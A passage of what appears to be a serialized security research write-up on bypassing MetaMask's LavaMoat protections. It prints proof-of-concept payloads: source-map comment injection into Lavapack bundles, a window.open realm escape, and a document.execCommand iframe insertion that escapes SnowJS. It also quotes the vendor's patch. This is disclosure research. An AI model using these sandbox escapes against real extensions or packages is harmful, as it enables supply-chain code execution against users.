"children":54807},{"style":235},[54808],{"type":29,"value":480},{"type":24,"tag":147,"props":54810,"children":54811},{"style":9044},[54812],{"type":29,"value":43483},{"type":24,"tag":147,"props":54814,"children":54815},{"style":235},[54816],{"type":29,"value":87},{"type":24,"tag":147,"props":54818,"children":54819},{"style":247},[54820],{"type":29,"value":54821},"commentRegex",{"type":24,"tag":147,"props":54823,"children":54824},{"style":235},[54825],{"type":29,"value":546},{"type":24,"tag":147,"props":54827,"children":54828},{"style":3534},[54829],{"type":29,"value":54830},"''",{"type":24,"tag":147,"props":54832,"children":54833},{"style":235},[54834],{"type":29,"value":1473},{"type":24,"tag":147,"props":54836,"children":54837},{"class":149,"line":281},[54838],{"type":24,"tag":147,"props":54839,"children":54840},{"style":235},[54841],{"type":29,"value":1120},{"type":24,"tag":25,"props":54843,"children":54844},{},[54845,54847,54853],{"type":29,"value":54846},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":24,"tag":80,"props":54848,"children":54850},{"className":54849},[],[54851],{"type":29,"value":54852},"/*",{"type":29,"value":54854},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":24,"tag":43,"props":54856,"children":54858},{"id":54857},"the-bypass",[54859],{"type":29,"value":54860},"The Bypass",{"type":24,"tag":25,"props":54862,"children":54863},{},[54864,54866,54871,54873,54878],{"type":29,"value":54865},"By abusing the ",{"type":24,"tag":80,"props":54867,"children":54869},{"className":54868},[],[54870],{"type":29,"value":54368},{"type":29,"value":54872}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":24,"tag":80,"props":54874,"children":54876},{"className":54875},[],[54877],{"type":29,"value":53713},{"type":29,"value":54879}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":24,"tag":137,"props":54881,"children":54883},{"className":36964,"code":54882,"language":36966,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[54884],{"type":24,"tag":80,"props":54885,"children":54886},{"__ignoreMap":7},[54887,54895,54902,54910,54918,54926,54934,54942,54950,54957,54964],{"type":24,"tag":147,"props":54888,"children":54889},{"class":149,"line":150},[54890],{"type":24,"tag":147,"props":54891,"children":54892},{"style":154},[54893],{"type":29,"value":54894},"/*# sourceMappingURL=data:,{}\n",{"type":24,"tag":147,"props":54896,"children":54897},{"class":149,"line":160},[54898],{"type":24,"tag":147,"props":54899,"children":54900},{"emptyLinePlaceholder":16},[54901],{"type":29,"value":314},{"type":24,"tag":147,"props":54903,"children":54904},{"class":149,"line":169},[54905],{"type":24,"tag":147,"props":54906,"children":54907},{"style":154},[54908],{"type":29,"value":54909},"}}}}\n",{"type":24,"tag":147,"props":54911,"children":54912},{"class":149,"line":178},[54913],{"type":24,"tag":147,"props":54914,"children":54915},{"style":154},[54916],{"type":29,"value":54917},"}, {\n",{"type":24,"tag":147,"props":54919,"children":54920},{"class":149,"line":187},[54921],{"type":24,"tag":147,"props":54922,"children":54923},{"style":154},[54924],{"type":29,"value":54925},"    package: \"xpl\",\n",{"type":24,"tag":147,"props":54927,"children":54928},{"class":149,"line":196},[54929],{"type":24,"tag":147,"props":54930,"children":54931},{"style":154},[54932],{"type":29,"value":54933},"    file: \"node_modules/xpl/index.js\",\n",{"type":24,"tag":147,"props":54935,"children":54936},{"class":149,"line":205},[54937],{"type":24,"tag":147,"props":54938,"children":54939},{"style":154},[54940],{"type":29,"value":54941},"    test: alert(document.domain),\n",{"type":24,"tag":147,"props":54943,"children":54944},{"class":149,"line":214},[54945],{"type":24,"tag":147,"props":54946,"children":54947},{"style":154},[54948],{"type":29,"value":54949},"    test1: () => { () => { () => { () => {\n",{"type":24,"tag":147,"props":54951,"children":54952},{"class":149,"line":272},[54953],{"type":24,"tag":147,"props":54954,"children":54955},{"emptyLinePlaceholder":16},[54956],{"type":29,"value":314},{"type":24,"tag":147,"props":54958,"children":54959},{"class":149,"line":281},[54960],{"type":24,"tag":147,"props":54961,"children":54962},{"style":154},[54963],{"type":29,"value":157},{"type":24,"tag":147,"props":54965,"children":54966},{"class":149,"line":299},[54967],{"type":24,"tag":147,"props":54968,"children":54969},{"style":154},[54970],{"type":29,"value":54971},"*/\n",{"type":24,"tag":25,"props":54973,"children":54974},{},[54975],{"type":29,"value":54976},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":24,"tag":43,"props":54978,"children":54980},{"id":54979},"lavapack-patch",[54981],{"type":29,"value":54982},"Lavapack Patch",{"type":24,"tag":25,"props":54984,"children":54985},{},[54986,54988,54994],{"type":29,"value":54987},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":24,"tag":80,"props":54989,"children":54991},{"className":54990},[],[54992],{"type":29,"value":54993},"assertValidJS",{"type":29,"value":54995},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":24,"tag":25,"props":54997,"children":54998},{},[54999,55001,55008],{"type":29,"value":55000},"The patch was introduced in commit ",{"type":24,"tag":2773,"props":55002,"children":55005},{"href":55003,"rel":55004},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[2777],[55006],{"type":29,"value":55007},"9c38cd4",{"type":29,"value":87},{"type":24,"tag":137,"props":55010,"children":55012},{"className":45956,"code":55011,"language":45958,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[55013],{"type":24,"tag":80,"props":55014,"children":55015},{"__ignoreMap":7},[55016,55024,55032,55040,55048,55056,55064,55072,55079,55087],{"type":24,"tag":147,"props":55017,"children":55018},{"class":149,"line":150},[55019],{"type":24,"tag":147,"props":55020,"children":55021},{"style":705},[55022],{"type":29,"value":55023},"+ function assertValidJS(code) {\n",{"type":24,"tag":147,"props":55025,"children":55026},{"class":149,"line":160},[55027],{"type":24,"tag":147,"props":55028,"children":55029},{"style":705},[55030],{"type":29,"value":55031},"+  try {\n",{"type":24,"tag":147,"props":55033,"children":55034},{"class":149,"line":169},[55035],{"type":24,"tag":147,"props":55036,"children":55037},{"style":705},[55038],{"type":29,"value":55039},"+    new Function(code)\n",{"type":24,"tag":147,"props":55041,"children":55042},{"class":149,"line":178},[55043],{"type":24,"tag":147,"props":55044,"children":55045},{"style":705},[55046],{"type":29,"value":55047},"+  } catch (err) {\n",{"type":24,"tag":147,"props":55049,"children":55050},{"class":149,"line":187},[55051],{"type":24,"tag":147,"props":55052,"children":55053},{"style":705},[55054],{"type":29,"value":55055},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":24,"tag":147,"props":55057,"children":55058},{"class":149,"line":196},[55059],{"type":24,"tag":147,"props":55060,"children":55061},{"style":705},[55062],{"type":29,"value":55063},"+  }\n",{"type":24,"tag":147,"props":55065,"children":55066},{"class":149,"line":205},[55067],{"type":24,"tag":147,"props":55068,"children":55069},{"style":705},[55070],{"type":29,"value":55071},"+ }\n",{"type":24,"tag":147,"props":55073,"children":55074},{"class":149,"line":214},[55075],{"type":24,"tag":147,"props":55076,"children":55077},{"emptyLinePlaceholder":16},[55078],{"type":29,"value":314},{"type":24,"tag":147,"props":55080,"children":55081},{"class":149,"line":272},[55082],{"type":24,"tag":147,"props":55083,"children":55084},{"style":705},[55085],{"type":29,"value":55086},"+  // additional layer of syntax checking independent of browserify\n",{"type":24,"tag":147,"props":55088,"children":55089},{"class":149,"line":281},[55090],{"type":24,"tag":147,"props":55091,"children":55092},{"style":705},[55093],{"type":29,"value":55094},"+  assertValidJS(sourceMeta.code)\n",{"type":24,"tag":32,"props":55096,"children":55098},{"id":55097},"hacking-js-realms",[55099],{"type":29,"value":55100},"Hacking JS Realms",{"type":24,"tag":25,"props":55102,"children":55103},{},[55104,55106,55111],{"type":29,"value":55105},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":24,"tag":80,"props":55107,"children":55109},{"className":55108},[],[55110],{"type":29,"value":43015},{"type":29,"value":55112}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":24,"tag":137,"props":55114,"children":55116},{"className":36964,"code":55115,"language":36966,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[55117],{"type":24,"tag":80,"props":55118,"children":55119},{"__ignoreMap":7},[55120,55162],{"type":24,"tag":147,"props":55121,"children":55122},{"class":149,"line":150},[55123,55127,55132,55136,55140,55144,55149,55153,55158],{"type":24,"tag":147,"props":55124,"children":55125},{"style":218},[55126],{"type":29,"value":15276},{"type":24,"tag":147,"props":55128,"children":55129},{"style":247},[55130],{"type":29,"value":55131}," w",{"type":24,"tag":147,"props":55133,"children":55134},{"style":241},[55135],{"type":29,"value":651},{"type":24,"tag":147,"props":55137,"children":55138},{"style":247},[55139],{"type":29,"value":37008},{"type":24,"tag":147,"props":55141,"children":55142},{"style":235},[55143],{"type":29,"value":87},{"type":24,"tag":147,"props":55145,"children":55146},{"style":229},[55147],{"type":29,"value":55148},"open",{"type":24,"tag":147,"props":55150,"children":55151},{"style":235},[55152],{"type":29,"value":480},{"type":24,"tag":147,"props":55154,"children":55155},{"style":3534},[55156],{"type":29,"value":55157},"'/non_existent'",{"type":24,"tag":147,"props":55159,"children":55160},{"style":235},[55161],{"type":29,"value":1473},{"type":24,"tag":147,"props":55163,"children":55164},{"class":149,"line":160},[55165,55170,55174,55178,55182,55186,55190,55194],{"type":24,"tag":147,"props":55166,"children":55167},{"style":247},[55168],{"type":29,"value":55169},"w",{"type":24,"tag":147,"props":55171,"children":55172},{"style":235},[55173],{"type":29,"value":87},{"type":24,"tag":147,"props":55175,"children":55176},{"style":229},[55177],{"type":29,"value":38298},{"type":24,"tag":147,"props":55179,"children":55180},{"style":235},[55181],{"type":29,"value":480},{"type":24,"tag":147,"props":55183,"children":55184},{"style":247},[55185],{"type":29,"value":38308},{"type":24,"tag":147,"props":55187,"children":55188},{"style":235},[55189],{"type":29,"value":87},{"type":24,"tag":147,"props":55191,"children":55192},{"style":247},[55193],{"type":29,"value":38318},{"type":24,"tag":147,"props":55195,"children":55196},{"style":235},[55197],{"type":29,"value":269},{"type":24,"tag":25,"props":55199,"children":55200},{},[55201,55203,55208],{"type":29,"value":55202},"This opens a new window with a new JS Realm (another ",{"type":24,"tag":80,"props":55204,"children":55206},{"className":55205},[],[55207],{"type":29,"value":43015},{"type":29,"value":55209}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":24,"tag":25,"props":55211,"children":55212},{},[55213,55215,55222],{"type":29,"value":55214},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":24,"tag":2773,"props":55216,"children":55219},{"href":55217,"rel":55218},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[2777],[55220],{"type":29,"value":55221},"Metamask implementation",{"type":29,"value":8758},{"type":24,"tag":43,"props":55224,"children":55226},{"id":55225},"snowjs-attack-surface",[55227],{"type":29,"value":55228},"SnowJS Attack Surface",{"type":24,"tag":25,"props":55230,"children":55231},{},[55232],{"type":29,"value":55233},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":24,"tag":25,"props":55235,"children":55236},{},[55237,55239,55246],{"type":29,"value":55238},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":24,"tag":2773,"props":55240,"children":55243},{"href":55241,"rel":55242},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[2777],[55244],{"type":29,"value":55245},"hooked inserters",{"type":29,"value":55247}," functions:",{"type":24,"tag":137,"props":55249,"children":55251},{"className":36964,"code":55250,"language":36966,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[55252],{"type":24,"tag":80,"props":55253,"children":55254},{"__ignoreMap":7},[55255,55275,55296,55335,55389,55428,55527,55547,55568],{"type":24,"tag":147,"props":55256,"children":55257},{"class":149,"line":150},[55258,55262,55267,55271],{"type":24,"tag":147,"props":55259,"children":55260},{"style":218},[55261],{"type":29,"value":15276},{"type":24,"tag":147,"props":55263,"children":55264},{"style":247},[55265],{"type":29,"value":55266}," map",{"type":24,"tag":147,"props":55268,"children":55269},{"style":241},[55270],{"type":29,"value":651},{"type":24,"tag":147,"props":55272,"children":55273},{"style":235},[55274],{"type":29,"value":6630},{"type":24,"tag":147,"props":55276,"children":55277},{"class":149,"line":160},[55278,55283,55287,55292],{"type":24,"tag":147,"props":55279,"children":55280},{"style":247},[55281],{"type":29,"value":55282},"    Range:",{"type":24,"tag":147,"props":55284,"children":55285},{"style":235},[55286],{"type":29,"value":28634},{"type":24,"tag":147,"props":55288,"children":55289},{"style":3534},[55290],{"type":29,"value":55291},"'insertNode'",{"type":24,"tag":147,"props":55293,"children":55294},{"style":235},[55295],{"type":29,"value":19877},{"type":24,"tag":147,"props":55297,"children":55298},{"class":149,"line":169},[55299,55304,55308,55313,55317,55322,55326,55331],{"type":24,"tag":147,"props":55300,"children":55301},{"style":247},[55302],{"type":29,"value":55303},"    DocumentFragment:",{"type":24,"tag":147,"props":55305,"children":55306},{"style":235},[55307],{"type":29,"value":28634},{"type":24,"tag":147,"props":55309,"children":55310},{"style":3534},[55311],{"type":29,"value":55312},"'replaceChildren'",{"type":24,"tag":147,"props":55314,"children":55315},{"style":235},[55316],{"type":29,"value":546},{"type":24,"tag":147,"props":55318,"children":55319},{"style":3534},[55320],{"type":29,"value":55321},"'append'",{"type":24,"tag":147,"props":55323,"children":55324},{"style":235},[55325],{"type":29,"value":546},{"type":24,"tag":147,"props":55327,"children":55328},{"style":3534},[55329],{"type":29,"value":55330},"'prepend'",{"type":24,"tag":147,"props":55332,"children":55333},{"style":235},[55334],{"type":29,"value":19877},{"type":24,"tag":147,"props":55336,"children":55337},{"class":149,"line":178},[55338,55343,55347,55351,55355,55359,55363,55367,55371,55376,55380,55385],{"type":24,"tag":147,"props":55339,"children":55340},{"style":247},[55341],{"type":29,"value":55342},"    Document:",{"type":24,"tag":147,"props":55344,"children":55345},{"style":235},[55346],{"type":29,"value":28634},{"type":24,"tag":147,"props":55348,"children":55349},{"style":3534},[55350],{"type":29,"value":55312},{"type":24,"tag":147,"props":55352,"children":55353},{"style":235},[55354],{"type":29,"value":546},{"type":24,"tag":147,"props":55356,"children":55357},{"style":3534},[55358],{"type":29,"value":55321},{"type":24,"tag":147,"props":55360,"children":55361},{"style":235},[55362],{"type":29,"value":546},{"type":24,"tag":147,"props":55364,"children":55365},{"style":3534},[55366],{"type":29,"value":55330},{"type":24,"tag":147,"props":55368,"children":55369},{"style":235},[55370],{"type":29,"value":546},{"type":24,"tag":147,"props":55372,"children":55373},{"style":3534},[55374],{"type":29,"value":55375},"'write'",{"type":24,"tag":147,"props":55377,"children":55378},{"style":235},[55379],{"type":29,"value":546},{"type":24,"tag":147,"props":55381,"children":55382},{"style":3534},[55383],{"type":29,"value":55384},"'writeln'",{"type":24,"tag":147,"props":55386,"children":55387},{"style":235},[55388],{"type":29,"value":19877},{"type":24,"tag":147,"props":55390,"children":55391},{"class":149,"line":187},[55392,55397,55401,55406,55410,55415,55419,55424],{"type":24,"tag":147,"props":55393,"children":55394},{"style":247},[55395],{"type":29,"value":55396},"    Node:",{"type":24,"tag":147,"props":55398,"children":55399},{"style":235},[55400],{"type":29,"value":28634},{"type":24,"tag":147,"props":55402,"children":55403},{"style":3534},[55404],{"type":29,"value":55405},"'appendChild'",{"type":24,"tag":147,"props":55407,"children":55408},{"style":235},[55409],{"type":29,"value":546},{"type":24,"tag":147,"props":55411,"children":55412},{"style":3534},[55413],{"type":29,"value":55414},"'insertBefore'",{"type":24,"tag":147,"props":55416,"children":55417},{"style":235},[55418],{"type":29,"value":546},{"type":24,"tag":147,"props":55420,"children":55421},{"style":3534},[55422],{"type":29,"value":55423},"'replaceChild'",{"type":24,"tag":147,"props":55425,"children":55426},{"style":235},[55427],{"type":29,"value":19877},{"type":24,"tag":147,"props":55429,"children":55430},{"class":149,"line":196},[55431,55436,55440,55445,55449,55454,55458,55463,55467,55472,55476,55481,55485,55489,55493,55498,55502,55506,55510,55515,55519,55523],{"type":24,"tag":147,"props":55432,"children":55433},{"style":247},[55434],{"type":29,"value":55435},"    Element:",{"type":24,"tag":147,"props":55437,"children":55438},{"style":235},[55439],{"type":29,"value":28634},{"type":24,"tag":147,"props":55441,"children":55442},{"style":3534},[55443],{"type":29,"value":55444},"'innerHTML'",{"type":24,"tag":147,"props":55446,"children":55447},{"style":235},[55448],{"type":29,"value":546},{"type":24,"tag":147,"props":55450,"children":55451},{"style":3534},[55452],{"type":29,"value":55453},"'outerHTML'",{"type":24,"tag":147,"props":55455,"children":55456},{"style":235},[55457],{"type":29,"value":546},{"type":24,"tag":147,"props":55459,"children":55460},{"style":3534},[55461],{"type":29,"value":55462},"'insertAdjacentHTML'",{"type":24,"tag":147,"props":55464,"children":55465},{"style":235},[55466],{"type":29,"value":546},{"type":24,"tag":147,"props":55468,"children":55469},{"style":3534},[55470],{"type":29,"value":55471},"'replaceWith'",{"type":24,"tag":147,"props":55473,"children":55474},{"style":235},[55475],{"type":29,"value":546},{"type":24,"tag":147,"props":55477,"children":55478},{"style":3534},[55479],{"type":29,"value":55480},"'insertAdjacentElement'",{"type":24,"tag":147,"props":55482,"children":55483},{"style":235},[55484],{"type":29,"value":546},{"type":24,"tag":147,"props":55486,"children":55487},{"style":3534},[55488],{"type":29,"value":55321},{"type":24,"tag":147,"props":55490,"children":55491},{"style":235},[55492],{"type":29,"value":546},{"type":24,"tag":147,"props":55494,"children":55495},{"style":3534},[55496],{"type":29,"value":55497},"'before'",{"type":24,"tag":147,"props":55499,"children":55500},{"style":235},[55501],{"type":29,"value":546},{"type":24,"tag":147,"props":55503,"children":55504},{"style":3534},[55505],{"type":29,"value":55330},{"type":24,"tag":147,"props":55507,"children":55508},{"style":235},[55509],{"type":29,"value":546},{"type":24,"tag":147,"props":55511,"children":55512},{"style":3534},[55513],{"type":29,"value":55514},"'after'",{"type":24,"tag":147,"props":55516,"children":55517},{"style":235},[55518],{"type":29,"value":546},{"type":24,"tag":147,"props":55520,"children":55521},{"style":3534},[55522],{"type":29,"value":55312},{"type":24,"tag":147,"props":55524,"children":55525},{"style":235},[55526],{"type":29,"value":19877},{"type":24,"tag":147,"props":55528,"children":55529},{"class":149,"line":205},[55530,55535,55539,55543],{"type":24,"tag":147,"props":55531,"children":55532},{"style":247},[55533],{"type":29,"value":55534},"    ShadowRoot:",{"type":24,"tag":147,"props":55536,"children":55537},{"style":235},[55538],{"type":29,"value":28634},{"type":24,"tag":147,"props":55540,"children":55541},{"style":3534},[55542],{"type":29,"value":55444},{"type":24,"tag":147,"props":55544,"children":55545},{"style":235},[55546],{"type":29,"value":19877},{"type":24,"tag":147,"props":55548,"children":55549},{"class":149,"line":214},[55550,55555,55559,55564],{"type":24,"tag":147,"props":55551,"children":55552},{"style":247},[55553],{"type":29,"value":55554},"    HTMLIFrameElement:",{"type":24,"tag":147,"props":55556,"children":55557},{"style":235},[55558],{"type":29,"value":28634},{"type":24,"tag":147,"props":55560,"children":55561},{"style":3534},[55562],{"type":29,"value":55563},"'srcdoc'",{"type":24,"tag":147,"props":55565,"children":55566},{"style":235},[55567],{"type":29,"value":19877},{"type":24,"tag":147,"props":55569,"children":55570},{"class":149,"line":272},[55571],{"type":24,"tag":147,"props":55572,"children":55573},{"style":235},[55574],{"type":29,"value":1120},{"type":24,"tag":25,"props":55576,"children":55577},{},[55578],{"type":29,"value":55579},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":24,"tag":25,"props":55581,"children":55582},{},[55583],{"type":29,"value":55584},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":24,"tag":43,"props":55586,"children":55588},{"id":55587},"bypassing-snowjs",[55589],{"type":29,"value":55590},"Bypassing SnowJS",{"type":24,"tag":25,"props":55592,"children":55593},{},[55594,55596,55607,55609,55615],{"type":29,"value":55595},"The deprecated ",{"type":24,"tag":2773,"props":55597,"children":55600},{"href":55598,"rel":55599},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[2777],[55601],{"type":24,"tag":80,"props":55602,"children":55604},{"className":55603},[],[55605],{"type":29,"value":55606},"document.execCommand",{"type":29,"value":55608}," function is used to execute commands inside a ",{"type":24,"tag":80,"props":55610,"children":55612},{"className":55611},[],[55613],{"type":29,"value":55614},"contenteditable",{"type":29,"value":55616}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":24,"tag":137,"props":55618,"children":55621},{"className":55619,"code":55620,"language":37983,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[55622],{"type":24,"tag":80,"props":55623,"children":55624},{"__ignoreMap":7},[55625],{"type":24,"tag":147,"props":55626,"children":55627},{"class":149,"line":150},[55628,55632,55636,55640,55644,55649,55654,55659,55664,55668],{"type":24,"tag":147,"props":55629,"children":55630},{"style":37976},[55631],{"type":29,"value":3583},{"type":24,"tag":147,"props":55633,"children":55634},{"style":218},[55635],{"type":29,"value":36947},{"type":24,"tag":147,"props":55637,"children":55638},{"style":247},[55639],{"type":29,"value":38056},{"type":24,"tag":147,"props":55641,"children":55642},{"style":235},[55643],{"type":29,"value":369},{"type":24,"tag":147,"props":55645,"children":55646},{"style":3534},[55647],{"type":29,"value":55648},"test",{"type":24,"tag":147,"props":55650,"children":55651},{"style":247},[55652],{"type":29,"value":55653}," contenteditable",{"type":24,"tag":147,"props":55655,"children":55656},{"style":247},[55657],{"type":29,"value":55658}," autofocus",{"type":24,"tag":147,"props":55660,"children":55661},{"style":37976},[55662],{"type":29,"value":55663},">\u003C/",{"type":24,"tag":147,"props":55665,"children":55666},{"style":218},[55667],{"type":29,"value":36947},{"type":24,"tag":147,"props":55669,"children":55670},{"style":37976},[55671],{"type":29,"value":11617},{"type":24,"tag":25,"props":55673,"children":55674},{},[55675,55677,55683,55685,55690],{"type":29,"value":55676},"After inserting this element to a page, it is possible to use ",{"type":24,"tag":80,"props":55678,"children":55680},{"className":55679},[],[55681],{"type":29,"value":55682},"insertHTML",{"type":29,"value":55684}," command of ",{"type":24,"tag":80,"props":55686,"children":55688},{"className":55687},[],[55689],{"type":29,"value":55606},{"type":29,"value":55691}," to add a non-sandboxed iframe.",{"type":24,"tag":137,"props":55693,"children":55695},{"className":36964,"code":55694,"language":36966,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[55696],{"type":24,"tag":80,"props":55697,"children":55698},{"__ignoreMap":7},[55699],{"type":24,"tag":147,"props":55700,"children":55701},{"class":149,"line":150},[55702,55706,55710,55715,55719,55724,55728,55732,55736,55741],{"type":24,"tag":147,"props":55703,"children":55704},{"style":247},[55705],{"type":29,"value":38308},{"type":24,"tag":147,"props":55707,"children":55708},{"style":235},[55709],{"type":29,"value":87},{"type":24,"tag":147,"props":55711,"children":55712},{"style":229},[55713],{"type":29,"value":55714},"execCommand",{"type":24,"tag":147,"props":55716,"children":55717},{"style":235},[55718],{"type":29,"value":480},{"type":24,"tag":147,"props":55720,"children":55721},{"style":3534},[55722],{"type":29,"value":55723},"'insertHTML'",{"type":24,"tag":147,"props":55725,"children":55726},{"style":235},[55727],{"type":29,"value":546},{"type":24,"tag":147,"props":55729,"children":55730},{"style":218},[55731],{"type":29,"value":13801},{"type":24,"tag":147,"props":55733,"children":55734},{"style":235},[55735],{"type":29,"value":546},{"type":24,"tag":147,"props":55737,"children":55738},{"style":3534},[55739],{"type":29,"value":55740},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":24,"tag":147,"props":55742,"children":55743},{"style":235},[55744],{"type":29,"value":1473},{"type":24,"tag":43,"props":55746,"children":55748},{"id":55747},"impact-on-lavamoat-scuttling",[55749],{"type":29,"value":55750},"Impact On Lavamoat Scuttling",{"type":24,"tag":25,"props":55752,"children":55753},{},[55754],{"type":29,"value":55755},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":24,"tag":25,"props":55757,"children":55758},{},[55759,55761,55766,55768,55773],{"type":29,"value":55760},"For the exploit, the only used functions are in ",{"type":24,"tag":80,"props":55762,"children":55764},{"className":55763},[],[55765],{"type":29,"value":38308},{"type":29,"value":55767}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":24,"tag":80,"props":55769,"children":55771},{"className":55770},[],[55772],{"type":29,"value":43015},{"type":29,"value":55774}," object.",{"type":24,"tag":25,"props":55776,"children":55777},{},[55778,55780,55785],{"type":29,"value":55779},"Consider this example, which runs a scuttled ",{"type":24,"tag":80,"props":55781,"children":55783},{"className":55782},[],[55784],{"type":29,"value":38298},{"type":29,"value":31069},{"type":24,"tag":137,"props":55787,"children":55789},{"className":36964,"code":55788,"language":36966,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[55790],{"type":24,"tag":80,"props":55791,"children":55792},{"__ignoreMap":7},[55793,55829,55866,55909],{"type":24,"tag":147,"props":55794,"children":55795},{"class":149,"line":150},[55796,55800,55804,55808,55812,55816,55820,55825],{"type":24,"tag":147,"props":55797,"children":55798},{"style":247},[55799],{"type":29,"value":38308},{"type":24,"tag":147,"props":55801,"children":55802},{"style":235},[55803],{"type":29,"value":87},{"type":24,"tag":147,"props":55805,"children":55806},{"style":247},[55807],{"type":29,"value":38000},{"type":24,"tag":147,"props":55809,"children":55810},{"style":235},[55811],{"type":29,"value":87},{"type":24,"tag":147,"props":55813,"children":55814},{"style":247},[55815],{"type":29,"value":40573},{"type":24,"tag":147,"props":55817,"children":55818},{"style":241},[55819],{"type":29,"value":651},{"type":24,"tag":147,"props":55821,"children":55822},{"style":3534},[55823],{"type":29,"value":55824}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":24,"tag":147,"props":55826,"children":55827},{"style":235},[55828],{"type":29,"value":432},{"type":24,"tag":147,"props":55830,"children":55831},{"class":149,"line":160},[55832,55836,55840,55844,55848,55853,55857,55862],{"type":24,"tag":147,"props":55833,"children":55834},{"style":247},[55835],{"type":29,"value":38308},{"type":24,"tag":147,"props":55837,"children":55838},{"style":235},[55839],{"type":29,"value":87},{"type":24,"tag":147,"props":55841,"children":55842},{"style":229},[55843],{"type":29,"value":40598},{"type":24,"tag":147,"props":55845,"children":55846},{"style":235},[55847],{"type":29,"value":480},{"type":24,"tag":147,"props":55849,"children":55850},{"style":3534},[55851],{"type":29,"value":55852},"'test'",{"type":24,"tag":147,"props":55854,"children":55855},{"style":235},[55856],{"type":29,"value":5745},{"type":24,"tag":147,"props":55858,"children":55859},{"style":229},[55860],{"type":29,"value":55861},"focus",{"type":24,"tag":147,"props":55863,"children":55864},{"style":235},[55865],{"type":29,"value":9295},{"type":24,"tag":147,"props":55867,"children":55868},{"class":149,"line":169},[55869,55873,55877,55881,55885,55889,55893,55897,55901,55905],{"type":24,"tag":147,"props":55870,"children":55871},{"style":247},[55872],{"type":29,"value":38308},{"type":24,"tag":147,"props":55874,"children":55875},{"style":235},[55876],{"type":29,"value":87},{"type":24,"tag":147,"props":55878,"children":55879},{"style":229},[55880],{"type":29,"value":55714},{"type":24,"tag":147,"props":55882,"children":55883},{"style":235},[55884],{"type":29,"value":480},{"type":24,"tag":147,"props":55886,"children":55887},{"style":3534},[55888],{"type":29,"value":55723},{"type":24,"tag":147,"props":55890,"children":55891},{"style":235},[55892],{"type":29,"value":546},{"type":24,"tag":147,"props":55894,"children":55895},{"style":218},[55896],{"type":29,"value":13801},{"type":24,"tag":147,"props":55898,"children":55899},{"style":235},[55900],{"type":29,"value":546},{"type":24,"tag":147,"props":55902,"children":55903},{"style":3534},[55904],{"type":29,"value":55740},{"type":24,"tag":147,"props":55906,"children":55907},{"style":235},[55908],{"type":29,"value":1473},{"type":24,"tag":147,"props":55910,"children":55911},{"class":149,"line":178},[55912,55916,55920,55925,55929,55933,55938,55942,55947,55952,55956,55960,55964,55968,55972,55976],{"type":24,"tag":147,"props":55913,"children":55914},{"style":247},[55915],{"type":29,"value":38308},{"type":24,"tag":147,"props":55917,"children":55918},{"style":235},[55919],{"type":29,"value":87},{"type":24,"tag":147,"props":55921,"children":55922},{"style":229},[55923],{"type":29,"value":55924},"getElementsByTagName",{"type":24,"tag":147,"props":55926,"children":55927},{"style":235},[55928],{"type":29,"value":480},{"type":24,"tag":147,"props":55930,"children":55931},{"style":3534},[55932],{"type":29,"value":42330},{"type":24,"tag":14